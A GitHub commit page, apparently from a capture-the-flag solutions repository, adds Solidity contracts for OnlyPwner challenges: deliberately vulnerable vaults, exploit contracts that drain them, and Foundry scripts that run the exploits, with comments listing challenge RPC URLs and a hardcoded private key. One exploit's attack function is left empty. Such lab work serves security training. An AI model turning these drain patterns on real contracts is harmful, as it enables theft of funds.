-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
9 changed files
with
325 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
interface ITutorial { | ||
function callMe() external; | ||
} | ||
|
||
contract Tutorial is ITutorial { | ||
constructor() payable { } | ||
|
||
function callMe() external override { | ||
(bool success,) = msg.sender.call{ value: address(this).balance }(""); | ||
require(success, "Tutorial: call failed"); | ||
} | ||
} | ||
|
||
contract TutorialExploit { | ||
ITutorial private victimInstance; | ||
|
||
constructor(address _victim) { | ||
victimInstance = ITutorial(_victim); | ||
} | ||
|
||
function attack() external payable { | ||
victimInstance.callMe(); | ||
} | ||
|
||
fallback() external payable { } | ||
|
||
receive() external payable { } | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
import { ERC20 } from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; | ||
import { IERC20 } from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; | ||
|
||
contract MintableERC20 is ERC20 { | ||
constructor(string memory name, string memory symbol, uint256 mintAmount) ERC20(name, symbol) { | ||
_mint(msg.sender, mintAmount); | ||
} | ||
} | ||
|
||
interface IVault { | ||
function deposit(uint256 amount) external; | ||
function withdraw(uint256 sharesAmount) external; | ||
function owner() external view returns (address); | ||
function token() external view returns (IERC20); | ||
function shares(address) external view returns (uint256); | ||
function totalShares() external view returns (uint256); | ||
} | ||
|
||
contract Vault is IVault { | ||
address public override owner; | ||
IERC20 public override token; | ||
mapping(address => uint256) public override shares; | ||
uint256 public override totalShares; | ||
|
||
constructor(address _token) { | ||
owner = msg.sender; | ||
token = IERC20(_token); | ||
} | ||
|
||
function deposit(uint256 amount) external override { | ||
require(amount > 0, "Vault: Amount must be greater than 0"); | ||
|
||
uint256 currentBalance = token.balanceOf(address(this)); | ||
uint256 currentShares = totalShares; | ||
|
||
uint256 newShares; | ||
if (currentShares == 0) { | ||
newShares = amount; | ||
} else { | ||
newShares = (amount * currentShares) / currentBalance; | ||
} | ||
|
||
shares[msg.sender] += newShares; | ||
totalShares += newShares; | ||
|
||
token.transferFrom(msg.sender, address(this), amount); | ||
} | ||
|
||
function withdraw(uint256 sharesAmount) external override { | ||
require(sharesAmount > 0, "Vault: Amount must be greater than 0"); | ||
|
||
uint256 currentBalance = token.balanceOf(address(this)); | ||
uint256 payoutAmount = (sharesAmount * currentBalance) / totalShares; | ||
|
||
shares[msg.sender] -= sharesAmount; | ||
totalShares -= sharesAmount; | ||
|
||
if (msg.sender == owner) { | ||
payoutAmount *= 2; | ||
} | ||
|
||
token.transfer(msg.sender, payoutAmount); | ||
} | ||
} | ||
|
||
contract VaultExploit { | ||
Vault private victimInstance; | ||
|
||
constructor(address _victim) { | ||
victimInstance = Vault(_victim); | ||
} | ||
|
||
function attack() external payable { } | ||
|
||
receive() external payable { } | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
interface IVault { | ||
event Deposit(address indexed user, uint256 amount); | ||
event Withdraw(address indexed user, uint256 amount); | ||
|
||
function deposit() external payable; | ||
function withdraw(uint256 amount) external; | ||
} | ||
|
||
contract Vault is IVault { | ||
uint256 public totalDeposited; | ||
|
||
function deposit() external payable { | ||
totalDeposited += msg.value; | ||
emit Deposit(msg.sender, msg.value); | ||
} | ||
|
||
function withdraw(uint256 amount) external { | ||
totalDeposited -= amount; | ||
payable(msg.sender).transfer(amount); | ||
emit Withdraw(msg.sender, amount); | ||
} | ||
} | ||
|
||
contract VaultExploit { | ||
Vault private victimInstance; | ||
|
||
constructor(address _victim) { | ||
victimInstance = Vault(_victim); | ||
} | ||
|
||
function attack() external payable { | ||
victimInstance.withdraw(victimInstance.totalDeposited()); | ||
} | ||
|
||
fallback() external payable { } | ||
|
||
receive() external payable { } | ||
} |
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.0; | ||
|
||
import { Script } from "forge-std/Script.sol"; | ||
import { console2 } from "forge-std/console2.sol"; | ||
import { Tutorial, TutorialExploit } from "@contracts/CTF/ONLYPWNER/01.TUTORIAL.sol"; | ||
|
||
/* | ||
forge script \ | ||
foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol:TUTORIAL_01_Exploit \ | ||
--rpc-url https://nodes.onlypwner.xyz/rpc/42b2c243-c01f-4de0-a521-7856279a2ab2 \ | ||
--private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ | ||
--with-gas-price 0 \ | ||
-vvvv --broadcast | ||
*/ | ||
|
||
contract TUTORIAL_01_Exploit is Script { | ||
Tutorial private victimInstance; | ||
TutorialExploit private exploitInstance; | ||
|
||
function _localSetup() public { | ||
victimInstance = new Tutorial{value: 10 ether}(); | ||
// victimInstance.deposit{ value: 10 ether }(); | ||
} | ||
|
||
function run() public { | ||
vm.startBroadcast(); | ||
bool isDEV = false; | ||
// 1. Local DEV SET UP | ||
if (isDEV) _localSetup(); | ||
// 2. Challenge SET UP | ||
else victimInstance = Tutorial(address(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88)); | ||
|
||
console2.log("ONLYPWNER CTF Challenge 1 Before Valut Balance:", address(victimInstance).balance); | ||
console2.log("ONLYPWNER CTF Challenge 1 Before Attacker:", tx.origin); | ||
console2.log("ONLYPWNER CTF Challenge 1 Before Attacker Balance:", address(tx.origin).balance); | ||
|
||
// Attack | ||
exploitInstance = new TutorialExploit(address(victimInstance)); | ||
exploitInstance.attack(); | ||
|
||
_check(); | ||
vm.stopBroadcast(); | ||
} | ||
|
||
function _check() public view { | ||
console2.log("ONLYPWNER CTF Challenge 1 After Balance:", address(victimInstance).balance); | ||
require(address(victimInstance).balance == 0, "Challenge 1 is not solved"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.0; | ||
|
||
import { Script } from "forge-std/Script.sol"; | ||
import { console2 } from "forge-std/console2.sol"; | ||
import { MintableERC20, Vault, VaultExploit } from "@contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol"; | ||
|
||
/* | ||
forge script \ | ||
foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol:REVERSE_RUGPULL_03_Exploit \ | ||
--private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ | ||
-vvvv | ||
forge script \ | ||
foundry/script/CTF/ONLYPWNER/01.FREEBIE.s.sol:FREEBIE_05_Exploit \ | ||
--rpc-url https://nodes.onlypwner.xyz/rpc/cf922cbb-e5d5-4921-bcd6-c1ee4d5f0065 \ | ||
--private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ | ||
--with-gas-price 0 \ | ||
-vvvv --broadcast | ||
*/ | ||
|
||
contract REVERSE_RUGPULL_03_Exploit is Script { | ||
Vault private victimInstance; | ||
VaultExploit private exploitInstance; | ||
address attackerAddress = address(6); | ||
|
||
function _localDevSetup() public { | ||
MintableERC20 token = new MintableERC20("TOKEN", "TOKEN", 10 ether); | ||
victimInstance = new Vault(address(token)); | ||
token.transfer(attackerAddress, 9 ether); | ||
} | ||
|
||
function run() public { | ||
vm.startBroadcast(); | ||
bool isDEV = true; | ||
// 1. Local DEV SET UP | ||
if (isDEV) _localDevSetup(); | ||
// 2. Challenge SET UP | ||
else victimInstance = Vault(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88); | ||
|
||
console2.log("ONLYPWNER CTF Challenge 3 Before Valut Address:", address(victimInstance)); | ||
console2.log("ONLYPWNER CTF Challenge 3 Before Valut Balance:", address(victimInstance).balance); | ||
|
||
// Attack | ||
exploitInstance = new VaultExploit(address(victimInstance)); | ||
exploitInstance.attack(); | ||
|
||
vm.stopBroadcast(); | ||
_check(); | ||
} | ||
|
||
function _check() public { | ||
console2.log( | ||
"ONLYPWNER CTF Challenge 3 After Valut Balance:", victimInstance.token().balanceOf(address(victimInstance)) | ||
); | ||
require(victimInstance.token().balanceOf(address(victimInstance)) == 0, "Not solved: Valut have token"); | ||
|
||
victimInstance.token().approve(address(victimInstance), 10 ** 17); | ||
victimInstance.deposit(10 ** 17); | ||
uint256 shares = victimInstance.shares(tx.origin); | ||
require(shares == 0, "Not solved: Valut have shares"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.0; | ||
|
||
import { Script } from "forge-std/Script.sol"; | ||
import { console2 } from "forge-std/console2.sol"; | ||
import { Vault, IVault, VaultExploit } from "@contracts/CTF/ONLYPWNER/05.FREEBIE.sol"; | ||
|
||
/* | ||
forge script \ | ||
foundry/script/CTF/ONLYPWNER/01.FREEBIE.s.sol:FREEBIE_05_Exploit \ | ||
--rpc-url https://nodes.onlypwner.xyz/rpc/fc49f74c-8fbf-492e-9bbc-5c32fea00c21 \ | ||
--private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ | ||
--with-gas-price 0 \ | ||
-vvvv --broadcast | ||
*/ | ||
|
||
contract FREEBIE_05_Exploit is Script { | ||
Vault private victimInstance; | ||
VaultExploit private exploitInstance; | ||
|
||
function _localSetup() public { | ||
victimInstance = new Vault(); | ||
victimInstance.deposit{ value: 10 ether }(); | ||
} | ||
|
||
function run() public { | ||
vm.startBroadcast(); | ||
bool isDEV = false; | ||
// 1. Local DEV SET UP | ||
if (isDEV) _localSetup(); | ||
// 2. Challenge SET UP | ||
else victimInstance = Vault(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88); | ||
|
||
console2.log("ONLYPWNER CTF Challenge 1 Before Valut Balance:", address(victimInstance).balance); | ||
console2.log("ONLYPWNER CTF Challenge 1 Before Attacker:", tx.origin); | ||
console2.log("ONLYPWNER CTF Challenge 1 Before Attacker Balance:", address(tx.origin).balance); | ||
|
||
// Attack | ||
exploitInstance = new VaultExploit(address(victimInstance)); | ||
exploitInstance.attack(); | ||
|
||
_check(); | ||
vm.stopBroadcast(); | ||
} | ||
|
||
function _check() public view { | ||
console2.log("ONLYPWNER CTF Challenge 1 After Balance:", address(victimInstance).balance); | ||
require(address(victimInstance).balance == 0, "Challenge 1 is not solved"); | ||
} | ||
} |